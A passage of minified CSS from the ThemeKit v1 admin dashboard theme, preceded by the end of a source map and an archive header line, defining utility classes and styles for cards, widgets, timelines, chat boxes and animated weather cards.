["../../src/scss/theme.scss","../../src/scss/_settings.scss","../../src/scss/_mixins.scss","../../src/scss/_cards.scss","../../src/scss/_widgets.scss","../../src/scss/_tables.scss","../../src/scss/_badges.scss","../../src/scss/_navigation.scss","../../src/scss/_buttons.scss","../../src/scss/_modal.scss","../../src/scss/_forms.scss","../../src/scss/_carousel.scss","../../src/scss/_calendar.scss","../../src/scss/_alert.scss","../../src/scss/_rating.scss","../../src/scss/_range-slider.scss","../../src/scss/_auth.scss","../../src/scss/_main.scss"], "names": [], "file": "theme.min.css" } css/theme.min.css000064400000472434151676702570007770 0ustar00/*! * ThemeKit v1 (https://lavalite.org/) * Copyright 2018 The Lavalite Authors */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}*,body{-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;-moz-osx-font-smoothing:grayscale}::-moz-selection{background:#b3d4fc;text-shadow:none}::selection{background:#b3d4fc;text-shadow:none}hr{display:block;height:1px;border:0;border-top:1px solid #ccc;margin:1em 0;padding:0}audio,canvas,iframe,img,svg,video{vertical-align:middle}fieldset{border:0;margin:0;padding:0}textarea{resize:vertical}.browserupgrade{margin:0.2em 0;background:#ccc;color:#000;padding:0.2em 0}*{outline:none !important}a{color:#212121;-moz-transition:color 0.2s;-o-transition:color 0.2s;-webkit-transition:color 0.2s;transition:color 0.2s}a:hover,a:focus,a:active{outline:0;text-decoration:none;color:#212121}.p0{padding:0px !important}.pt-0{padding-top:0px !important}.pb-0{padding-bottom:0px !important}.pl-0{padding-left:0px !important}.pr-0{padding-right:0px !important}.m0{margin:0px !important}.mt-0{margin-top:0px !important}.mb-0{margin-bottom:0px !important}.ml-0{margin-left:0px !important}.mr-0{margin-right:0px !important}.p5{padding:5px !important}.pt-5{padding-top:5px !important}.pb-5{padding-bottom:5px !important}.pl-5{padding-left:5px !important}.pr-5{padding-right:5px !important}.m5{margin:5px !important}.mt-5{margin-top:5px !important}.mb-5{margin-bottom:5px !important}.ml-5{margin-left:5px !important}.mr-5{margin-right:5px !important}.p10{padding:10px !important}.pt-10{padding-top:10px !important}.pb-10{padding-bottom:10px !important}.pl-10{padding-left:10px !important}.pr-10{padding-right:10px !important}.m10{margin:10px !important}.mt-10{margin-top:10px !important}.mb-10{margin-bottom:10px !important}.ml-10{margin-left:10px !important}.mr-10{margin-right:10px !important}.p15{padding:15px !important}.pt-15{padding-top:15px !important}.pb-15{padding-bottom:15px !important}.pl-15{padding-left:15px !important}.pr-15{padding-right:15px !important}.m15{margin:15px !important}.mt-15{margin-top:15px !important}.mb-15{margin-bottom:15px !important}.ml-15{margin-left:15px !important}.mr-15{margin-right:15px !important}.p20{padding:20px !important}.pt-20{padding-top:20px !important}.pb-20{padding-bottom:20px !important}.pl-20{padding-left:20px !important}.pr-20{padding-right:20px !important}.m20{margin:20px !important}.mt-20{margin-top:20px !important}.mb-20{margin-bottom:20px !important}.ml-20{margin-left:20px !important}.mr-20{margin-right:20px !important}.p25{padding:25px !important}.pt-25{padding-top:25px !important}.pb-25{padding-bottom:25px !important}.pl-25{padding-left:25px !important}.pr-25{padding-right:25px !important}.m25{margin:25px !important}.mt-25{margin-top:25px !important}.mb-25{margin-bottom:25px !important}.ml-25{margin-left:25px !important}.mr-25{margin-right:25px !important}.p30{padding:30px !important}.pt-30{padding-top:30px !important}.pb-30{padding-bottom:30px !important}.pl-30{padding-left:30px !important}.pr-30{padding-right:30px !important}.m30{margin:30px !important}.mt-30{margin-top:30px !important}.mb-30{margin-bottom:30px !important}.ml-30{margin-left:30px !important}.mr-30{margin-right:30px !important}.p35{padding:35px !important}.pt-35{padding-top:35px !important}.pb-35{padding-bottom:35px !important}.pl-35{padding-left:35px !important}.pr-35{padding-right:35px !important}.m35{margin:35px !important}.mt-35{margin-top:35px !important}.mb-35{margin-bottom:35px !important}.ml-35{margin-left:35px !important}.mr-35{margin-right:35px !important}.p40{padding:40px !important}.pt-40{padding-top:40px !important}.pb-40{padding-bottom:40px !important}.pl-40{padding-left:40px !important}.pr-40{padding-right:40px !important}.m40{margin:40px !important}.mt-40{margin-top:40px !important}.mb-40{margin-bottom:40px !important}.ml-40{margin-left:40px !important}.mr-40{margin-right:40px !important}.p45{padding:45px !important}.pt-45{padding-top:45px !important}.pb-45{padding-bottom:45px !important}.pl-45{padding-left:45px !important}.pr-45{padding-right:45px !important}.m45{margin:45px !important}.mt-45{margin-top:45px !important}.mb-45{margin-bottom:45px !important}.ml-45{margin-left:45px !important}.mr-45{margin-right:45px !important}.p50{padding:50px !important}.pt-50{padding-top:50px !important}.pb-50{padding-bottom:50px !important}.pl-50{padding-left:50px !important}.pr-50{padding-right:50px !important}.m50{margin:50px !important}.mt-50{margin-top:50px !important}.mb-50{margin-bottom:50px !important}.ml-50{margin-left:50px !important}.mr-50{margin-right:50px !important}.f-10{font-size:10px}.f-12{font-size:12px}.f-14{font-size:14px}.f-16{font-size:16px}.f-18{font-size:18px}.f-20{font-size:20px}.f-22{font-size:22px}.f-24{font-size:24px}.f-26{font-size:26px}.f-28{font-size:28px}.f-30{font-size:30px}.f-32{font-size:32px}.f-34{font-size:34px}.f-36{font-size:36px}.f-38{font-size:38px}.f-40{font-size:40px}.f-42{font-size:42px}.f-44{font-size:44px}.f-46{font-size:46px}.f-48{font-size:48px}.f-50{font-size:50px}.f-52{font-size:52px}.f-54{font-size:54px}.f-56{font-size:56px}.f-58{font-size:58px}.f-60{font-size:60px}.f-62{font-size:62px}.f-64{font-size:64px}.f-66{font-size:66px}.f-68{font-size:68px}.f-70{font-size:70px}.f-72{font-size:72px}.f-74{font-size:74px}.f-76{font-size:76px}.f-78{font-size:78px}.f-80{font-size:80px}.fw-100{font-weight:100}.fw-200{font-weight:200}.fw-300{font-weight:300}.fw-400{font-weight:400}.fw-500{font-weight:500}.fw-600{font-weight:600}.fw-700{font-weight:700}.fw-800{font-weight:800}.fw-900{font-weight:900}.img-20{width:20px}.img-30{width:30px}.img-40{width:40px}.img-50{width:50px}.img-60{width:60px}.img-70{width:70px}.img-80{width:80px}.img-90{width:90px}.img-100{width:100px}.b-t-primary{border-top:1px solid #007bff}.b-b-primary{border-bottom:1px solid #007bff}.b-l-primary{border-left:1px solid #007bff}.b-r-primary{border-right:1px solid #007bff}.b-primary{border:1px solid #007bff}.b-t-warning{border-top:1px solid #fb6340}.b-b-warning{border-bottom:1px solid #fb6340}.b-l-warning{border-left:1px solid #fb6340}.b-r-warning{border-right:1px solid #fb6340}.b-warning{border:1px solid #fb6340}.b-t-danger{border-top:1px solid #f5365c}.b-b-danger{border-bottom:1px solid #f5365c}.b-l-danger{border-left:1px solid #f5365c}.b-r-danger{border-right:1px solid #f5365c}.b-danger{border:1px solid #f5365c}.b-t-success{border-top:1px solid #2dce89}.b-b-success{border-bottom:1px solid #2dce89}.b-l-success{border-left:1px solid #2dce89}.b-r-success{border-right:1px solid #2dce89}.b-success{border:1px solid #2dce89}.b-t-inverse{border-top:1px solid #4c5667}.b-b-inverse{border-bottom:1px solid #4c5667}.b-l-inverse{border-left:1px solid #4c5667}.b-r-inverse{border-right:1px solid #4c5667}.b-inverse{border:1px solid #4c5667}.b-t-info{border-top:1px solid #11cdef}.b-b-info{border-bottom:1px solid #11cdef}.b-l-info{border-left:1px solid #11cdef}.b-r-info{border-right:1px solid #11cdef}.b-info{border:1px solid #11cdef}.bg-default{background-color:#d6d6d6 !important}.bg-theme{background-color:#ef4153 !important}.bg-aqua{background-color:#3ec5d6 !important}.bg-blue{background-color:#19B5FE !important}.bg-light-blue{background-color:#89CFF0 !important}.bg-teal{background-color:#008081 !important}.bg-yellow{background-color:#F7CA18 !important}.bg-orange{background-color:#FF8000 !important}.bg-green{background-color:#26C281 !important}.bg-lime{background-color:#cad900 !important}.bg-red{background-color:#F22613 !important}.bg-fuchsia{background-color:#df2de3 !important}.bg-navy{background-color:navy !important}.bg-empty{background:transparent !important}.bg-primary{background-color:#007bff !important}.bg-success{background-color:#2dce89 !important}.bg-info{background-color:#11cdef !important}.bg-warning{background-color:#fb6340 !important}.bg-danger{background-color:#f5365c !important}.bg-muted{background-color:#6c757d !important}.bg-inverse{background-color:#4c5667 !important}.bg-purple{background-color:#BF55EC !important}.bg-pink{background-color:#f76397 !important}.bg-white{background-color:#fff !important}.bg-facebook{background-color:#3b579d !important}.bg-twitter{background-color:#1da1f2 !important}.bg-google{background-color:#dc4a38 !important}.bg-linkedin{background-color:#0177b4 !important}.text-default{color:#d6d6d6 !important}.text-blue{color:#19B5FE !important}.text-light-blue{color:#89CFF0 !important}.text-teal{color:#008081 !important}.text-navy{color:navy !important}.text-lime{color:#cad900 !important}.text-orange{color:#FF8000 !important}.text-yellow{color:#F7CA18 !important}.text-aqua{color:#3ec5d6 !important}.text-white{color:#fff !important}.text-danger{color:#f5365c !important}.text-green{color:#26C281 !important}.text-primary{color:#007bff !important}.text-warning{color:#fb6340 !important}.text-success{color:#2dce89 !important}.text-info{color:#11cdef !important}.text-inverse{color:#4c5667 !important}.text-pink{color:#f76397 !important}.text-purple{color:#BF55EC !important}.text-dark{color:#212121 !important}.text-fuchsia{color:#df2de3 !important}.text-red{color:#F22613 !important}.text-facebook{color:#3b579d !important}.text-twitter{color:#1da1f2 !important}.text-instagram{color:#fb3958 !important}.text-google{color:#dc4a38 !important}.text-linkedin{color:#0177b4 !important}.text-behance{color:#053eff !important}.text-dribbble{color:#ea4c89 !important}.text-red{color:#F22613 !important}.min-width-zero{min-width:0}.w-10{width:10% !important}.w-90{width:90% !important}.w-12{width:12% !important}.w-88{width:88% !important}.w-15{width:15% !important}.w-85{width:85% !important}.w-20{width:20% !important}.w-80{width:80% !important}.w-30{width:30% !important}.w-70{width:70% !important}.w-40{width:40% !important}.w-60{width:60% !important}.hidden{display:none !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.visuallyhidden.focusable:active,.visuallyhidden.focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.invisible{visibility:hidden}.clearfix:before,.clearfix:after{content:" ";display:table}.clearfix:after{clear:both}@media only screen and (max-width: 1023px){.w-sm-100{width:100% !important}}@media only screen and (max-width: 767px){.w-xs-100{width:100% !important}}.card{border-color:#ffff;position:relative;width:100%;border:none;margin-bottom:30px;-webkit-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-header{padding:20px 20px;border:0;background:none;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card .card-header h3{margin:0;font-size:18px;font-weight:normal;color:#212121}.card .card-header .card-options a:not(.dropdown-item){width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:33px;color:#212121;display:inline-block;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.card .card-header .card-options span{color:#444;font-size:12px}.card .card-header .card-search{position:relative}.card .card-header .card-search .form-control{padding-right:60px;font-size:14px;max-height:30px;min-height:30px}.card .card-header .card-search .form-control ~ .btn{position:absolute;right:0;top:0;padding:0;width:30px;height:30px;line-height:30px;border-radius:4px;background-color:#eceff1;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-btn{background-color:transparent;border:0;position:absolute;right:30px;top:0;width:30px;height:30px;line-height:30px;padding:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-search-wrap{padding:20px;display:none;position:absolute;left:30px !important;width:100%;top:30px;background-color:#fff;z-index:4;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08);border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .card-header .card-search.with-adv-search .adv-search-wrap .form-control{padding-right:15px}.card .card-header .card-search.with-adv-search .adv-search-wrap .btn{padding:0 15px;font-size:14px;height:30px;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-header .card-search.with-adv-search .adv-search-wrap.show{display:block}.card .card-header.note-toolbar{padding:0 0 5px 5px}.card .card-header .dropdown .checkbox-dropdown{padding:0px;width:16px;height:16px;background-color:#dee2e6;border-radius:.25rem;margin-right:15px}.card .card-body{padding:20px 20px;flex:1 1 auto;position:relative}.card .card-img{height:100%;object-fit:cover;max-height:200px;width:unset;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-img-overlay{background:rgba(0,0,0,0.5);padding:1.75rem;border-radius:4px}.card.icon-card .card-body i{font-size:46px;line-height:66px;color:#212121}.card.icon-card .card-body .card-text{color:#8f8f8f;height:30px;line-height:26px}.card.icon-card .card-body .lead{color:#212121;margin-bottom:0}.card .nav-pills.custom-pills{border-bottom:1px solid #f1f1f1}.card .nav-pills.custom-pills .nav-link{border-radius:0;opacity:.7;font-size:14px;padding:12px 15px}.card .nav-pills.custom-pills .nav-link.active{color:#ef4153;opacity:1;background-color:transparent;border-bottom:2px solid #ef4153}.widget{border-color:#ffff;position:relative;width:100%;border:none;margin-bottom:30px;background-color:#fff;overflow:hidden;-webkit-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.widget .widget-header{padding:10px 20px;border-bottom:1px solid #f5f7f9;position:relative}.widget .widget-header .widget-title{font-size:18px;margin:0}.widget .widget-header .widget-tools{position:absolute;right:10px;top:5px}.widget .widget-header .widget-tools .btn-widget-tool{padding:5px;font-size:16px;background:transparent;color:#97a0b3}.widget .widget-header .widget-tools .btn-widget-tool i{margin:0}.widget .widget-header .widget-tools .btn-widget-tool:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.widget .widget-body{padding:20px 20px}.widget .widget-body h6{margin-bottom:0;font-weight:400}.widget .widget-body h2{margin-bottom:0px;font-weight:600}.widget .widget-body .icon{font-size:37px;color:#9aa0ac}.widget .widget-body .overlay{position:absolute;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.22);text-align:center;z-index:3;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.widget .widget-body .overlay i{font-size:32px;color:#ef4153;margin-bottom:5px}.widget .progress{border-radius:0}.widget[class*=bg-] .widget-header{background-color:rgba(255,255,255,0.2);border-bottom-color:transparent}.widget[class*=bg-] .widget-header .widget-title{color:#fff}.widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool{color:rgba(255,255,255,0.6)}.widget[class*=bg-] .widget-body{color:#fff}.widget[class*=bg-] .widget-body .icon{color:#fff}.widget.social-widget .widget-body{text-align:center}.loading{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.card-group .card:not(:last-child){border-right:1px solid #f1f1f1}.card .card-header{border-bottom:1px solid #f1f1f1}.card .card-header .card-header-right{right:10px;top:16px;display:inline-block;float:right;position:absolute}.card .card-header .card-header-right .card-option{width:35px;height:25px;overflow:hidden;margin:0;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.card .card-header .card-header-right .card-option li{display:inline-block}.card .card-header .card-header-right .card-option li i{margin:0 5px;cursor:pointer;font-size:15px;color:#8c8c8c;line-height:2;font-weight:300}.card .card-block{padding:1.25rem}.card .card-body .icon{font-size:37px;color:#9aa0ac}.card .feeds-widget{padding:0}.card .feeds-widget .feed-item{display:block;padding:12px 15px;border:1px solid #efefef;border-left:0;border-right:0}.card .feeds-widget .feed-item a{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .feeds-widget .feed-item a .feeds-left{width:50px;font-size:30px}.card .feeds-widget .feed-item a .feeds-body{width:100%}.card .feeds-widget .feed-item a .feeds-body h4{font-size:16px;margin:0;font-weight:700;margin-bottom:5px}.card .feeds-widget .feed-item a .feeds-body h4 ~ small{text-overflow:ellipsis;white-space:nowrap;overflow:hidden;width:calc(100% - 60px);font-size:13px;color:#777}.card .feeds-widget .feed-item.feed-item{margin-top:-1px}.card .timeline .header{background-size:cover;color:#fff;position:relative}.card .timeline .header .color-overlay{padding:2em;box-sizing:border-box;background:rgba(123,94,155,0.5);line-height:normal}.card .timeline .header .color-overlay .day-number{font-size:6em;margin-right:15px;display:inline-block;font-weight:700;line-height:1}.card .timeline .header .color-overlay .date-right{display:inline-block}.card .timeline .header .color-overlay .date-right .day-name{font-size:22px}.card .timeline .header .color-overlay .date-right .month{text-transform:uppercase;margin-top:2px}.card .timeline ul{list-style:none;position:relative;padding-left:30px;padding-top:10px;margin:0}.card .timeline ul:before,.card .timeline ul::before{content:' ';height:100%;width:1px;background-color:#f0f0f0;position:absolute;top:0;left:35px;z-index:1}.card .timeline ul li{padding-bottom:15px}.card .timeline ul li .bullet{width:10px;height:10px;display:inline-block;z-index:2;position:relative;vertical-align:top;margin:7px 0;margin-right:5px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .timeline ul li .time{width:20%;font-size:10px;margin:6px 0;vertical-align:top;display:inline-block}.card .timeline ul li .desc{width:65%;display:inline-block}.card .timeline ul li .desc h3{margin:0;font-size:14px;font-weight:700}.card .timeline ul li .desc h4{margin-top:5px;font-size:12px;color:#999}.card .task-list{margin:0;padding:0}.card .task-list li{display:block;padding:15px 0 15px 0;margin:0;cursor:pointer}.card .task-list li:first-child{padding-top:0}.card .task-list li.list span{float:left;margin-top:20px;color:#FF7E39}.card .task-list li.list span:before,.card .task-list li.list span::before{font-size:1.5rem;content:"\e83f";font-family:'iconkit';vertical-align:middle;border:3px solid #FF7E39;padding:4px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .task-list li.list .task-details{margin-left:60px}.card .task-list li.list .task-details p{margin:0;padding:10px 0 6px 0;line-height:140%}.card .task-list li.list .task-details p.date{padding:0;margin:0;font-size:.75rem}.card .task-list li.completed{text-decoration:line-through;color:#8796af;-moz-transition:all 0.3s ease-out;-o-transition:all 0.3s ease-out;-webkit-transition:all 0.3s ease-out;transition:all 0.3s ease-out}.card .task-list li.completed span:before,.card .task-list li.completed span::before{color:#50b924;border:3px solid #50b924}.card .chat-box .chat-list{margin:0;padding:0;list-style:none}.card .chat-box .chat-list .chat-item{list-style:none;margin-top:30px}.card .chat-box .chat-list .chat-item .chat-img{display:inline-block;width:45px;vertical-align:top}.card .chat-box .chat-list .chat-item .chat-img img{width:45px;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%}.card .chat-box .chat-list .chat-item .chat-content{width:calc(100% - 50px);display:inline-block;padding-left:15px}.card .chat-box .chat-list .chat-item .chat-content .box{display:inline-block;padding:10px;margin-bottom:3px;color:#343a40;background:#f6f8f9;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .chat-box .chat-list .chat-item .chat-time{display:block;font-size:10px;color:#4F5467;margin:5px 0 15px 65px}.card .chat-box .chat-list .chat-item.odd .chat-content{text-align:right;width:calc(100% - 0px)}.card .chat-box .chat-list .chat-item.odd .chat-content .box{clear:both;color:#fff;background:#137eff}.card .chat-box .chat-list .chat-item.odd .chat-time{text-align:right}.card .chat-box .chat-list .chat-item.odd+.odd{margin-top:0}.card .chat-box .chat-list .chat-item:first-child{margin-top:0}.card .chat-footer{position:relative;background-color:#fff}.card .chat-footer .input-wrap{padding-right:50px}.card .chat-footer .btn{position:absolute;top:10px;right:20px;width:35px;height:35px}.card .card-title{font-size:18px}.card .card-subtitle{font-weight:300;margin-bottom:10px;color:#afb5c1}.jvectormap-tip{border:none;font-family:'Nunito Sans', sans-serif;font-weight:700;padding:5px 10px;font-size:11px}.chart-line .ct-grid{stroke-dasharray:0;stroke:rgba(255,255,255,0.5)}.chart-line .ct-point{stroke-width:0}.chart-line .ct-line{stroke:#FFF;stroke-width:3px}.chart-shadow{transition:all 0.3s ease-in-out;filter:drop-shadow(0px 5px 2px rgba(43,43,43,0.2))}.card-blue,.card-green,.card-red,.card-yellow{position:relative;overflow:hidden}.card-blue:after,.card-green:after,.card-red:after,.card-yellow:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;z-index:1}.card-blue .card-block,.card-blue .card-block-big,.card-blue .card-block-small,.card-blue .card-body,.card-blue .card-footer,.card-blue .card-header,.card-green .card-block,.card-green .card-block-big,.card-green .card-block-small,.card-green .card-body,.card-green .card-footer,.card-green .card-header,.card-red .card-block,.card-red .card-block-big,.card-red .card-block-small,.card-red .card-body,.card-red .card-footer,.card-red .card-header,.card-yellow .card-block,.card-yellow .card-block-big,.card-yellow .card-block-small,.card-yellow .card-body,.card-yellow .card-footer,.card-yellow .card-header{position:relative;z-index:5}.card-red::after{background:#f5365c}.card-red .ct-line{stroke:#fff}.card-red .ct-grid{stroke:#f97f97}.card-blue::after{background:#007bff}.card-blue .ct-line{stroke:#fff}.card-blue .ct-grid{stroke:#4da3ff}.card-green::after{background:#2dce89}.card-green .ct-line{stroke:#fff}.card-green .ct-grid{stroke:#69deac}.card-yellow::after{background:#fb6340}.card-yellow .ct-line{stroke:#fff}.card-yellow .ct-grid{stroke:#fda08b}.proj-progress-card .progress{height:6px;overflow:visible;margin-bottom:10px}.proj-progress-card .progress .progress-bar{position:relative}.proj-progress-card .progress .progress-bar:after{content:"";background:#fff;position:absolute;right:-6px;top:-4px;border-radius:50%;width:15px;height:15px}.proj-progress-card .progress .progress-bar.bg-red:after{border:3px solid #f5365c}.proj-progress-card .progress .progress-bar.bg-blue:after{border:3px solid #007bff}.proj-progress-card .progress .progress-bar.bg-green:after{border:3px solid #2dce89}.proj-progress-card .progress .progress-bar.bg-yellow:after{border:3px solid #fb6340}@media only screen and (max-width: 992px){.proj-progress-card h6{margin-top:15px}.proj-progress-card .progress{margin-bottom:30px}}.sos-st-card h3{display:inline-block}.sos-st-card h3 i{color:#fff;font-size:18px;width:60px;height:60px;border-radius:50%;padding:12px 0;text-align:center;margin-right:15px;border:10px solid transparent;transition:all 0.3s ease-in-out}.sos-st-card h5{position:relative}.sos-st-card h5:after{content:"";background:#d2d2d2;position:absolute;top:-20px;right:-15px;width:1px;height:60px}.sos-st-card.facebook h3{color:#3b579d}.sos-st-card.facebook h3 i{background-color:#3b579d;border-color:#869cd2}.sos-st-card.twitter h3{color:#1da1f2}.sos-st-card.twitter h3 i{background-color:#1da1f2;border-color:#96d3f9}.sos-st-card.linkedin h3{color:#0177b4}.sos-st-card.linkedin h3 i{background-color:#0177b4;border-color:#37bafe}.sos-st-card.dribble h3{color:#ea4c89}.sos-st-card.dribble h3 i{background-color:#ea4c89;border-color:#f7bed4}.sos-st-card:hover h3 i{transform:scale(1.2) rotate(35deg)}@media only screen and (max-width: 768px){.sos-st-card h3 i{font-size:16px;width:35px;height:35px;padding:7px 0;margin-right:0;border-width:3px;margin-left:-10px}.sos-st-card h5:after{display:none}}.wather-card{overflow:hidden}.wather-card .wather-card-top{position:relative;overflow:hidden;min-height:200px;background:linear-gradient(to bottom, #7a9af5, rgba(90,179,243,0.5))}.wather-card .wather-card-top .wave{position:absolute;left:0;right:0;top:auto;bottom:0;z-index:1}.wather-card .wather-card-top .wave+.wave{z-index:2}.wather-card .wather-card-top .wave+.wave+.wave{z-index:3}.wather-card .wather-card-top .sun{background:#fff;position:absolute;top:50px;left:50px;width:30px;height:30px;border-radius:50%}.wather-card .wather-card-top .sun:after,.wather-card .wather-card-top .sun:before{content:"";width:100%;height:100%;border-radius:50%;position:absolute;box-shadow:inset 0 0 20px 5px rgba(255,255,255,0.4)}.wather-card .wather-card-top .sun:after{animation:sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .sun:before{animation:sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-star1,.wather-card .wather-card-top .w-star2{position:absolute;top:0;left:0;width:100%}.wather-card .wather-card-top .w-star1{animation:sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .w-star2{animation:sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-cloud{position:absolute;right:30px;top:60px;opacity:0;animation:w-cluod 15s linear infinite}@keyframes w-cluod{0%{opacity:0;transform:translate(0px, 0px)}20%{opacity:0.8;transform:translate(30px, -25px)}40%{opacity:1;transform:translate(0px, 0px)}60%{opacity:0.6;transform:translate(-30px, 25px)}80%{opacity:0.5;transform:translate(0px, 0px)}80%{opacity:0;transform:translate(0px, 0px)}}@keyframes sparcle{0%{opacity:1}50%{opacity:0}}@keyframes sunwawe{0%{transform:scale(1);opacity:1}100%{transform:scale(4);opacity:0}}.comp-card i{color:#fff;width:50px;height:50px;border-radius:5px;text-align:center;padding:17px 0;font-size:18px;text-shadow:0 6px 8px rgba(62,57,107,0.18);transition:all 0.3s ease-in-out}.comp-card:hover i{border-radius:50%}.proj-t-card{position:relative;overflow:hidden}.proj-t-card .pt-badge{color:#fff;margin-bottom:0;display:inline-block;padding:60px 50px 20px 20px;border-radius:50%;position:absolute;top:-45px;right:-35px;transition:all 0.3s ease-in-out;box-shadow:0 5px 7px 0 rgba(62,57,107,0.18)}.proj-t-card:hover .pt-badge{padding:65px 55px 30px 30px;text-shadow:0 3px 5px rgba(62,57,107,0.5);box-shadow:0 4px 4px 0 rgba(62,57,107,0.3)}.prod-p-card i{background-color:#fff;width:40px;height:40px;border-radius:50%;text-align:center;padding:11px 0;font-size:18px;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px rgba(62,57,107,0.2)}.prod-p-card:hover i{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:scale(0.9) translatey(5px)}.ticket-card .lbl-card{box-shadow:0 5px 4px -2px rgba(51,51,51,0.16);border-radius:5px;padding:5px 15px;color:#fff;display:inline-block}.analytic-card .analytic-icon{width:50px;height:50px;text-align:center;padding:17px 0;border-radius:50%;background-color:#fff;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.analytic-card:hover .analytic-icon{box-shadow:0 4px 4px 